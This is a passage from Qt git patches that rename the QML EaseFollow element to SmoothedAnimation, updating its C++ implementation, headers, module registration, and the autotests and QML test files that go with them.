Sets how the SmoothedAnimation behaves if an animation direction is reversed. - clockStart(); + If reversing mode is \c Eased, the animation will smoothly decelerate, and + then reverse direction. If the reversing mode is \c Immediate, the + animation will immediately begin accelerating in the reverse direction, + begining with a velocity of 0. If the reversing mode is \c Sync, the + property is immediately set to the target value. +*/ +QDeclarativeSmoothedAnimation::ReversingMode QDeclarativeSmoothedAnimation::reversingMode() const +{ + Q_D(const QDeclarativeSmoothedAnimation); + return (QDeclarativeSmoothedAnimation::ReversingMode) d->anim->reversingMode; } -void QDeclarativeEaseFollow::setSourceValue(qreal s) +void QDeclarativeSmoothedAnimation::setReversingMode(ReversingMode m) { - Q_D(QDeclarativeEaseFollow); - - if (d->clock.state() == QAbstractAnimation::Running && d->source == s) + Q_D(QDeclarativeSmoothedAnimation); + if (d->anim->reversingMode == m) return; - d->source = s; - d->initialVelocity = d->trackVelocity; - d->restart(); - - emit sourceChanged(); + d->anim->reversingMode = m; + emit reversingModeChanged(); } /*! - \qmlproperty qreal EaseFollow::duration + \qmlproperty int SmoothedAnimation::duration - This property holds the animation duration used when tracking the source. + This property holds the animation duration, in msecs, used when tracking the source. Setting this to -1 (the default) disables the duration value. */ -qreal QDeclarativeEaseFollow::duration() const +int QDeclarativeSmoothedAnimation::duration() const { - Q_D(const QDeclarativeEaseFollow); - return d->duration; + Q_D(const QDeclarativeSmoothedAnimation); + return d->anim->userDuration; } -void QDeclarativeEaseFollow::setDuration(qreal v) +void QDeclarativeSmoothedAnimation::setDuration(int duration) { - Q_D(QDeclarativeEaseFollow); - if (d->duration == v) - return; - - d->duration = v; - d->trackVelocity = 0; - - if (d->clock.state() == QAbstractAnimation::Running) - d->restart(); - - emit durationChanged(); + Q_D(QDeclarativeSmoothedAnimation); + if (duration != -1) + QDeclarativeNumberAnimation::setDuration(duration); + d->anim->userDuration = duration; } -qreal QDeclarativeEaseFollow::velocity() const +qreal QDeclarativeSmoothedAnimation::velocity() const { - Q_D(const QDeclarativeEaseFollow); - return d->velocity; + Q_D(const QDeclarativeSmoothedAnimation); + return d->anim->velocity; } /*! - \qmlproperty qreal EaseFollow::velocity + \qmlproperty qreal SmoothedAnimation::velocity - This property holds the average velocity allowed when tracking the source. + This property holds the average velocity allowed when tracking the 'to' value. - The default velocity of EaseFollow is 200 units/second. + The default velocity of SmoothedAnimation is 200 units/second. Setting this to -1 disables the velocity value. */ -void QDeclarativeEaseFollow::setVelocity(qreal v) +void QDeclarativeSmoothedAnimation::setVelocity(qreal v) { - Q_D(QDeclarativeEaseFollow); - if (d->velocity == v) + Q_D(QDeclarativeSmoothedAnimation); + if (d->anim->velocity == v) return; - d->velocity = v; - d->trackVelocity = 0; - - if (d->clock.state() == QAbstractAnimation::Running) - d->restart(); - + d->anim->velocity = v; emit velocityChanged(); } /*! - \qmlproperty bool EaseFollow::enabled - This property holds whether the target will track the source. -*/ -bool QDeclarativeEaseFollow::enabled() const -{ - Q_D(const QDeclarativeEaseFollow); - return d->enabled; -} - -void QDeclarativeEaseFollow::setEnabled(bool enabled) -{ - Q_D(QDeclarativeEaseFollow); - if (d->enabled == enabled) - return; - - d->enabled = enabled; - if (enabled) - d->restart(); - else - d->clockStop(); - - emit enabledChanged(); -} - -void QDeclarativeEaseFollow::setTarget(const QDeclarativeProperty &t) -{ - Q_D(QDeclarativeEaseFollow); - d->target = t; -} +\qmlproperty qreal SmoothedAnimation::maximumEasingTime -/*! -\qmlproperty qreal EaseFollow::maximumEasingTime - -This property specifies the maximum time an "eases" during the follow should take. +This property specifies the maximum time, in msecs, an "eases" during the follow should take. Setting this property causes the velocity to "level out" after at a time. Setting a negative value reverts to the normal mode of easing over the entire animation duration. The default value is -1. */ -qreal QDeclarativeEaseFollow::maximumEasingTime() const +int QDeclarativeSmoothedAnimation::maximumEasingTime() const { - Q_D(const QDeclarativeEaseFollow); - return d->maximumEasingTime; + Q_D(const QDeclarativeSmoothedAnimation); + return d->anim->maximumEasingTime; } -void QDeclarativeEaseFollow::setMaximumEasingTime(qreal v) +void QDeclarativeSmoothedAnimation::setMaximumEasingTime(int v) { - Q_D(QDeclarativeEaseFollow); - d->maximumEasingTime = v; - - if (d->clock.state() == QAbstractAnimation::Running) - d->restart(); - + Q_D(QDeclarativeSmoothedAnimation); + d->anim->maximumEasingTime = v; emit maximumEasingTimeChanged(); } diff --git a/src/declarative/util/qdeclarativeeasefollow_p.h b/src/declarative/util/qdeclarativeeasefollow_p.h index 83d1eff..6c17d4f 100644 --- a/src/declarative/util/qdeclarativeeasefollow_p.h +++ b/src/declarative/util/qdeclarativeeasefollow_p.h @@ -43,7 +43,7 @@ #define QDECLARATIVEEASEFOLLOW_H #include -#include +#include "qdeclarativeanimation_p.h" #include @@ -54,60 +54,50 @@ QT_BEGIN_NAMESPACE QT_MODULE(Declarative) class QDeclarativeProperty; -class QDeclarativeEaseFollowPrivate; -class Q_DECLARATIVE_EXPORT QDeclarativeEaseFollow : public QObject, - public QDeclarativePropertyValueSource +class QDeclarativeSmoothedAnimationPrivate; +class Q_DECLARATIVE_EXPORT QDeclarativeSmoothedAnimation : public QDeclarativeNumberAnimation { Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarativeEaseFollow) - Q_INTERFACES(QDeclarativePropertyValueSource) + Q_DECLARE_PRIVATE(QDeclarativeSmoothedAnimation) Q_ENUMS(ReversingMode) - Q_PROPERTY(qreal source READ sourceValue WRITE setSourceValue NOTIFY sourceChanged) Q_PROPERTY(qreal velocity READ velocity WRITE setVelocity NOTIFY velocityChanged) - Q_PROPERTY(qreal duration READ duration WRITE setDuration NOTIFY durationChanged) Q_PROPERTY(ReversingMode reversingMode READ reversingMode WRITE setReversingMode NOTIFY reversingModeChanged) - Q_PROPERTY(bool enabled READ enabled WRITE setEnabled NOTIFY enabledChanged) Q_PROPERTY(qreal maximumEasingTime READ maximumEasingTime WRITE setMaximumEasingTime NOTIFY maximumEasingTimeChanged) public: enum ReversingMode { Eased, Immediate, Sync }; - QDeclarativeEaseFollow(QObject *parent = 0); - ~QDeclarativeEaseFollow(); + QDeclarativeSmoothedAnimation(QObject *parent = 0); + ~QDeclarativeSmoothedAnimation(); ReversingMode reversingMode() const; void setReversingMode(ReversingMode); - qreal sourceValue() const; - void setSourceValue(qreal); + virtual int duration() const; + virtual void setDuration(int); qreal velocity() const; void setVelocity(qreal); - qreal duration() const; - void setDuration(qreal); + int maximumEasingTime() const; + void setMaximumEasingTime(int); - bool enabled() const; - void setEnabled(bool enabled); - - qreal maximumEasingTime() const; - void setMaximumEasingTime(qreal); - - virtual void setTarget(const QDeclarativeProperty &); +public: + virtual void transition(QDeclarativeStateActions &actions, + QDeclarativeProperties &modified, + TransitionDirection direction); + QAbstractAnimation* qtAnimation(); Q_SIGNALS: - void sourceChanged(); void velocityChanged(); - void durationChanged(); void reversingModeChanged(); - void enabledChanged(); void maximumEasingTimeChanged(); }; QT_END_NAMESPACE -QML_DECLARE_TYPE(QDeclarativeEaseFollow); +QML_DECLARE_TYPE(QDeclarativeSmoothedAnimation); QT_END_HEADER diff --git a/src/declarative/util/qdeclarativeeasefollow_p_p.h b/src/declarative/util/qdeclarativeeasefollow_p_p.h new file mode 100644 index 0000000..e71a009 --- /dev/null +++ b/src/declarative/util/qdeclarativeeasefollow_p_p.h @@ -0,0 +1,133 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVESMOOTHEDANIMATION_P_H +#define QDECLARATIVESMOOTHEDANIMATION_P_H + +// +// W A R N I N G +// ------------- +// +// This file is not part of the Qt API. It exists purely as an +// implementation detail. This header file may change from version to +// version without notice, or even be removed. +// +// We mean it. +// + +#include "qdeclarativeanimation_p.h" +#include "qdeclarativeeasefollow_p.h" + +#include "qdeclarativeanimation_p_p.h" + +#include + +#include + +QT_BEGIN_NAMESPACE + +class QSmoothedAnimation : public QAbstractAnimation +{ +public: + QSmoothedAnimation(QObject *parent=0); + + qreal to; + qreal velocity; + int userDuration; + + int maximumEasingTime; + QDeclarativeSmoothedAnimation::ReversingMode reversingMode; + + qreal initialVelocity; + qreal trackVelocity; + + QDeclarativeProperty target; + + int duration() const; + void restart(); + void init(); + +protected: + virtual void updateCurrentTime(int); + virtual void updateState(QAbstractAnimation::State, QAbstractAnimation::State); + +private: + qreal easeFollow(qreal); + qreal initialValue; + + bool invert; + + int finalDuration; + + // Parameters for use in updateCurrentTime() + qreal a; // Acceleration + qreal d; // Deceleration + qreal tf; // Total time + qreal tp; // Time at which peak velocity occurs + qreal td; // Time at which decelleration begins + qreal vp; // Velocity at tp + qreal sp; // Displacement at tp + qreal sd; // Displacement at td + qreal vi; // "Normalized" initialvelocity + qreal s; // Total s + + int lastTime; + + bool recalc(); + void delayedStop(); + + QTimer delayedStopTimer; +}; + +class QDeclarativeSmoothedAnimationPrivate : public QDeclarativePropertyAnimationPrivate +{ + Q_DECLARE_PUBLIC(QDeclarativeSmoothedAnimation) +public: + QDeclarativeSmoothedAnimationPrivate(); + + QParallelAnimationGroup *wrapperGroup; + QSmoothedAnimation *anim; + QHash activeAnimations; +}; + +QT_END_NAMESPACE + +#endif // QDECLARATIVESMOOTHEDANIMATION_P_H diff --git a/src/declarative/util/qdeclarativespringfollow.cpp b/src/declarative/util/qdeclarativespringfollow.cpp index 76d7c98..063c3df 100644 --- a/src/declarative/util/qdeclarativespringfollow.cpp +++ b/src/declarative/util/qdeclarativespringfollow.cpp @@ -242,8 +242,6 @@ void QDeclarativeSpringFollowPrivate::stop() SpringFollow on y { source: rect1.y; velocity: 200 } } \endcode - - \sa EaseFollow */ QDeclarativeSpringFollow::QDeclarativeSpringFollow(QObject *parent) diff --git a/src/declarative/util/qdeclarativetransition.cpp b/src/declarative/util/qdeclarativetransition.cpp index 4326a55..1e8be7f 100644 --- a/src/declarative/util/qdeclarativetransition.cpp +++ b/src/declarative/util/qdeclarativetransition.cpp @@ -116,9 +116,9 @@ void QDeclarativeTransitionPrivate::append_animation(QDeclarativeListPropertycomplete(); } diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index 2a02ffe..bf50a8b 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -111,7 +111,7 @@ void QDeclarativeUtilModule::defineModule() qmlRegisterType("Qt",4,6,"Binding"); qmlRegisterType("Qt",4,6,"ColorAnimation"); qmlRegisterType("Qt",4,6,"Connections"); - qmlRegisterType("Qt",4,6,"EaseFollow"); + qmlRegisterType("Qt",4,6,"SmoothedAnimation"); qmlRegisterType("Qt",4,6,"FontLoader"); qmlRegisterType("Qt",4,6,"ListElement"); qmlRegisterType("Qt",4,6,"NumberAnimation"); diff --git a/src/declarative/util/util.pri b/src/declarative/util/util.pri index f537806..249465a 100644 --- a/src/declarative/util/util.pri +++ b/src/declarative/util/util.pri @@ -38,6 +38,7 @@ HEADERS += \ $$PWD/qdeclarativesystempalette_p.h \ $$PWD/qdeclarativespringfollow_p.h \ $$PWD/qdeclarativeeasefollow_p.h \ + $$PWD/qdeclarativeeasefollow_p_p.h \ $$PWD/qdeclarativestate_p.h\ $$PWD/qdeclarativestateoperations_p.h \ $$PWD/qdeclarativepropertychanges_p.h \ diff --git a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow1.qml b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow1.qml index 0cc19eb..cfece41 100644 --- a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow1.qml +++ b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow1.qml @@ -1,3 +1,3 @@ import Qt 4.6 -EaseFollow {} +SmoothedAnimation {} diff --git a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow2.qml b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow2.qml index b65964e..74a110d 100644 --- a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow2.qml +++ b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow2.qml @@ -1,5 +1,5 @@ import Qt 4.6 -EaseFollow { - source: 10; duration: 300; enabled: true; reversingMode: EaseFollow.Immediate +SmoothedAnimation { + to: 10; duration: 300; reversingMode: SmoothedAnimation.Immediate } diff --git a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow3.qml b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow3.qml index f8886e9..3111e82 100644 --- a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow3.qml +++ b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollow3.qml @@ -1,6 +1,6 @@ import Qt 4.6 -EaseFollow { - source: 10; velocity: 250; enabled: false; reversingMode: EaseFollow.Sync +SmoothedAnimation { + to: 10; velocity: 250; reversingMode: SmoothedAnimation.Sync maximumEasingTime: 150 } diff --git a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollowBehavior.qml b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollowBehavior.qml new file mode 100644 index 0000000..eb06344 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollowBehavior.qml @@ -0,0 +1,23 @@ +import Qt 4.6 + +Rectangle { + width: 400; height: 400; color: "blue" + + Rectangle { + id: rect1 + color: "red" + width: 60; height: 60; + x: 100; y: 100; + SmoothedAnimation on x { to: 200; velocity: 500 } + SmoothedAnimation on y { to: 200; velocity: 500 } + } + + Rectangle { + objectName: "theRect" + color: "green" + width: 60; height: 60; + x: rect1.x; y: rect1.y; + Behavior on x { SmoothedAnimation { objectName: "easeX"; velocity: 400 } } + Behavior on y { SmoothedAnimation { objectName: "easeY"; velocity: 400 } } + } + } diff --git a/tests/auto/declarative/qdeclarativeeasefollow/data/easefollowValueSource.qml b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollowValueSource.qml new file mode 100644 index 0000000..9ae744c --- /dev/null +++ b/tests/auto/declarative/qdeclarativeeasefollow/data/easefollowValueSource.qml @@ -0,0 +1,13 @@ +import Qt 4.6 + +Rectangle { + width: 300; height: 300; + Rectangle { + objectName: "theRect" + color: "red" + width: 60; height: 60; + x: 100; y: 100; + SmoothedAnimation on x { objectName: "easeX"; to: 200; velocity: 500 } + SmoothedAnimation on y { objectName: "easeY"; to: 200; duration: 250; velocity: 500 } + } +} diff --git a/tests/auto/declarative/qdeclarativeeasefollow/tst_qdeclarativeeasefollow.cpp b/tests/auto/declarative/qdeclarativeeasefollow/tst_qdeclarativeeasefollow.cpp index 036eec0..401688b 100644 --- a/tests/auto/declarative/qdeclarativeeasefollow/tst_qdeclarativeeasefollow.cpp +++ b/tests/auto/declarative/qdeclarativeeasefollow/tst_qdeclarativeeasefollow.cpp @@ -42,6 +42,7 @@ #include #include #include +#include #include #include "../../../shared/util.h" @@ -55,6 +56,9 @@ private slots: void defaultValues(); void values(); void disabled(); + void simpleAnimation(); + void valueSource(); + void behavior(); private: QDeclarativeEngine engine; @@ -68,16 +72,15 @@ void tst_qdeclarativeeasefollow::defaultValues() { QDeclarativeEngine engine; QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/easefollow1.qml")); - QDeclarativeEaseFollow *obj = qobject_cast(c.create()); + QDeclarativeSmoothedAnimation *obj = qobject_cast(c.create()); QVERIFY(obj != 0); - QCOMPARE(obj->sourceValue(), 0.); + QCOMPARE(obj->to(), 0.); QCOMPARE(obj->velocity(), 200.); - QCOMPARE(obj->enabled(), true); - QCOMPARE(obj->duration(), -1.); - QCOMPARE(obj->maximumEasingTime(), -1.); - QCOMPARE(obj->reversingMode(), QDeclarativeEaseFollow::Eased); + QCOMPARE(obj->duration(), -1); + QCOMPARE(obj->maximumEasingTime(), -1); + QCOMPARE(obj->reversingMode(), QDeclarativeSmoothedAnimation::Eased); delete obj; } @@ -86,16 +89,15 @@ void tst_qdeclarativeeasefollow::values() { QDeclarativeEngine engine; QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/easefollow2.qml")); - QDeclarativeEaseFollow *obj = qobject_cast(c.create()); + QDeclarativeSmoothedAnimation *obj = qobject_cast(c.create()); QVERIFY(obj != 0); - QCOMPARE(obj->sourceValue(), 10.); + QCOMPARE(obj->to(), 10.); QCOMPARE(obj->velocity(), 200.); - QCOMPARE(obj->enabled(), true); - QCOMPARE(obj->duration(), 300.); - QCOMPARE(obj->maximumEasingTime(), -1.); - QCOMPARE(obj->reversingMode(), QDeclarativeEaseFollow::Immediate); + QCOMPARE(obj->duration(), 300); + QCOMPARE(obj->maximumEasingTime(), -1); + QCOMPARE(obj->reversingMode(), QDeclarativeSmoothedAnimation::Immediate); delete obj; } @@ -104,19 +106,102 @@ void tst_qdeclarativeeasefollow::disabled() { QDeclarativeEngine engine; QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/easefollow3.qml")); - QDeclarativeEaseFollow *obj = qobject_cast(c.create()); + QDeclarativeSmoothedAnimation *obj = qobject_cast(c.create()); QVERIFY(obj != 0); - QCOMPARE(obj->sourceValue(), 10.); + QCOMPARE(obj->to(), 10.); QCOMPARE(obj->velocity(), 250.); - QCOMPARE(obj->enabled(), false); - QCOMPARE(obj->maximumEasingTime(), 150.); - QCOMPARE(obj->reversingMode(), QDeclarativeEaseFollow::Sync); + QCOMPARE(obj->maximumEasingTime(), 150); + QCOMPARE(obj->reversingMode(), QDeclarativeSmoothedAnimation::Sync); delete obj; } +void tst_qdeclarativeeasefollow::simpleAnimation() +{ + QDeclarativeRectangle rect; + QDeclarativeSmoothedAnimation animation; + animation.setTarget(&rect); + animation.setProperty("x"); + animation.setTo(200); + animation.setDuration(250); + QVERIFY(animation.target() == &rect); + QVERIFY(animation.property() == "x"); + QVERIFY(animation.to() == 200); + animation.start(); + QVERIFY(animation.isRunning()); + QTest::qWait(animation.duration()); + QTRY_COMPARE(rect.x(), qreal(200)); + + rect.setX(0); + animation.start(); + animation.pause(); + QVERIFY(animation.isRunning()); + QVERIFY(animation.isPaused()); + animation.setCurrentTime(125); + QVERIFY(animation.currentTime() == 125); + QCOMPARE(rect.x(), qreal(100)); +} + +void tst_qdeclarativeeasefollow::valueSource() +{ + QDeclarativeEngine engine; + + QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/easefollowValueSource.qml")); + + QDeclarativeRectangle *rect = qobject_cast(c.create()); + QVERIFY(rect); + + QDeclarativeRectangle *theRect = rect->findChild("theRect"); + QVERIFY(theRect); + + QDeclarativeSmoothedAnimation *easeX = rect->findChild("easeX"); + QVERIFY(easeX); + QVERIFY(easeX->isRunning()); + + QDeclarativeSmoothedAnimation *easeY = rect->findChild("easeY"); + QVERIFY(easeY); + QVERIFY(easeY->isRunning()); + + // XXX get the proper duration + QTest::qWait(100); + + QTRY_VERIFY(!easeX->isRunning()); + QTRY_VERIFY(!easeY->isRunning()); + + QTRY_COMPARE(theRect->x(), qreal(200)); + QTRY_COMPARE(theRect->y(), qreal(200)); +} + +void tst_qdeclarativeeasefollow::behavior() +{ + QDeclarativeEngine engine; + + QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/easefollowBehavior.qml")); + + QDeclarativeRectangle *rect = qobject_cast(c.create()); + QVERIFY(rect); + + QDeclarativeRectangle *theRect = rect->findChild("theRect"); + QVERIFY(theRect); + + QDeclarativeSmoothedAnimation *easeX = rect->findChild("easeX"); + QVERIFY(easeX); + + QDeclarativeSmoothedAnimation *easeY = rect->findChild("easeY"); + QVERIFY(easeY); + + // XXX get the proper duration + QTest::qWait(400); + + QTRY_VERIFY(!easeX->isRunning()); + QTRY_VERIFY(!easeY->isRunning()); + + QTRY_COMPARE(theRect->x(), qreal(200)); + QTRY_COMPARE(theRect->y(), qreal(200)); +} + QTEST_MAIN(tst_qdeclarativeeasefollow) #include "tst_qdeclarativeeasefollow.moc" diff --git a/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml index cc64c3f..40fc436 100644 --- a/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml +++ b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml @@ -98,7 +98,7 @@ Rectangle { }, Component { id: invalidHl - EaseFollow {} + SmoothedAnimation {} } ] ListView { diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/easefollow.qml b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/easefollow.qml index 121328b..ee94857 100644 --- a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/easefollow.qml +++ b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/easefollow.qml @@ -15,26 +15,31 @@ Rectangle { Rectangle { width: 50; height: 20; y: 60; color: "red" - EaseFollow on x { source: rect.x; velocity: 400 } + x: rect.x + Behavior on x { SmoothedAnimation { velocity: 400 } } } Rectangle { width: 50; height: 20; y: 90; color: "yellow" - EaseFollow on x { source: rect.x; velocity: 300; reversingMode: EaseFollow.Immediate } + x: rect.x + Behavior on x { SmoothedAnimation { velocity: 300; reversingMode: SmoothedAnimation.Immediate } } } Rectangle { width: 50; height: 20; y: 120; color: "green" - EaseFollow on x { source: rect.x; reversingMode: EaseFollow.Sync } + x: rect.x + Behavior on x { SmoothedAnimation { reversingMode: SmoothedAnimation.Sync } } } Rectangle { width: 50; height: 20; y: 150; color: "purple" - EaseFollow on x { source: rect.x; maximumEasingTime: 200 } + x: rect.x + Behavior on x { SmoothedAnimation { maximumEasingTime: 200 } } } Rectangle { width: 50; height: 20; y: 180; color: "blue" - EaseFollow on x { source: rect.x; duration: 300 } + x: rect.x + Behavior on x { SmoothedAnimation { duration: 300 } } } } diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview2.qml b/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview2.qml index f4fb863..d8512eb 100644 --- a/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview2.qml +++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview2.qml @@ -48,9 +48,12 @@ Rectangle { flickableData: [ Rectangle { color: "transparent"; border.color: "white"; border.width: 8; z: 3000 - height: 100; width: 100; x: 4; y: 4 - EaseFollow on x { source: gridView.currentItem.x; velocity: 500 } - EaseFollow on y { source: gridView.currentItem.y; velocity: 500 } + height: 100; width: 100 + x: gridView.currentItem.x + y: gridView.currentItem.y + + Behavior on x { SmoothedAnimation { velocity: 500 } } + Behavior on y { SmoothedAnimation { velocity: 500 } } } ] } -- cgit v0.12 From e2f9d31227e9a2126a99503c4285efaf8d894dd9 Mon Sep 17 00:00:00 2001 From: Leonardo Sobral Cunha Date: Mon, 29 Mar 2010 13:58:00 +1000 Subject: Finished file rename of qdeclarative easefollow to smoothedanimation --- .../graphicsitems/qdeclarativegridview.cpp | 2 +- .../graphicsitems/qdeclarativelistview.cpp | 2 +- .../graphicsitems/qdeclarativepathview.cpp | 1 - src/declarative/util/qdeclarativeeasefollow.cpp | 484 ------ src/declarative/util/qdeclarativeeasefollow_p.h | 104 -- src/declarative/util/qdeclarativeeasefollow_p_p.h | 133 -- .../util/qdeclarativesmoothedanimation.cpp | 483 ++++++ .../util/qdeclarativesmoothedanimation_p.h | 104 ++ .../util/qdeclarativesmoothedanimation_p_p.h | 134 ++ src/declarative/util/qdeclarativeutilmodule.cpp | 2 +- src/declarative/util/util.pri | 6 +- tests/auto/declarative/declarative.pro | 2 +- .../qdeclarativeeasefollow/data/easefollow1.qml | 3 - .../qdeclarativeeasefollow/data/easefollow2.qml | 5 - .../qdeclarativeeasefollow/data/easefollow3.qml | 6 - .../data/easefollowBehavior.qml | 23 - .../data/easefollowValueSource.qml | 13 - .../qdeclarativeeasefollow.pro | 8 - .../tst_qdeclarativeeasefollow.cpp | 207 --- .../data/smoothedanimation1.qml | 3 + .../data/smoothedanimation2.qml | 5 + .../data/smoothedanimation3.qml | 6 + .../data/smoothedanimationBehavior.qml | 23 + .../data/smoothedanimationValueSource.qml | 13 + .../qdeclarativesmoothedanimation.pro | 8 + .../tst_qdeclarativesmoothedanimation.cpp | 207 +++ .../qdeclarativeeasefollow/data/easefollow.0.png | Bin 1305 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.1.png | Bin 1306 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.2.png | Bin 1305 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.3.png | Bin 1303 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.4.png | Bin 1303 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.5.png | Bin 1305 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.6.png | Bin 1306 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.qml | 1807 -------------------- .../qdeclarativeeasefollow/easefollow.qml | 45 - .../data/easefollow.0.png | Bin 0 -> 1305 bytes .../data/easefollow.1.png | Bin 0 -> 1306 bytes .../data/easefollow.2.png | Bin 0 -> 1305 bytes .../data/easefollow.3.png | Bin 0 -> 1303 bytes .../data/easefollow.4.png | Bin 0 -> 1303 bytes .../data/easefollow.5.png | Bin 0 -> 1305 bytes .../data/easefollow.6.png | Bin 0 -> 1306 bytes .../data/easefollow.qml | 1807 ++++++++++++++++++++ .../smoothedanimation.qml | 45 + 44 files changed, 2845 insertions(+), 2846 deletions(-) delete mode 100644 src/declarative/util/qdeclarativeeasefollow.cpp delete mode 100644 src/declarative/util/qdeclarativeeasefollow_p.h delete mode 100644 src/declarative/util/qdeclarativeeasefollow_p_p.h create mode 100644 src/declarative/util/qdeclarativesmoothedanimation.cpp create mode 100644 src/declarative/util/qdeclarativesmoothedanimation_p.h create mode 100644 src/declarative/util/qdeclarativesmoothedanimation_p_p.h delete mode 100644 tests/auto/declarative/qdeclarativeeasefollow/data/easefollow1.qml delete mode 100644 tests/auto/declarative/qdeclarativeeasefollow/data/easefollow2.qml delete mode 100644 tests/auto/declarative/qdeclarativeeasefollow/data/easefollow3.qml delete mode 100644 tests/auto/declarative/qdeclarativeeasefollow/data/easefollowBehavior.qml delete mode 100644 tests/auto/declarative/qdeclarativeeasefollow/data/easefollowValueSource.qml delete mode 100644 tests/auto/declarative/qdeclarativeeasefollow/qdeclarativeeasefollow.pro delete mode 100644 tests/auto/declarative/qdeclarativeeasefollow/tst_qdeclarativeeasefollow.cpp create mode 100644 tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation1.qml create mode 100644 tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation2.qml create mode 100644 tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation3.qml create mode 100644 tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationBehavior.qml create mode 100644 tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationValueSource.qml create mode 100644 tests/auto/declarative/qdeclarativesmoothedanimation/qdeclarativesmoothedanimation.pro create mode 100644 tests/auto/declarative/qdeclarativesmoothedanimation/tst_qdeclarativesmoothedanimation.cpp delete mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.0.png delete mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.1.png delete mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.2.png delete mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.3.png delete mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.4.png delete mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.5.png delete mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.6.png delete mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.qml delete mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/easefollow.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/smoothedanimation.qml diff --git 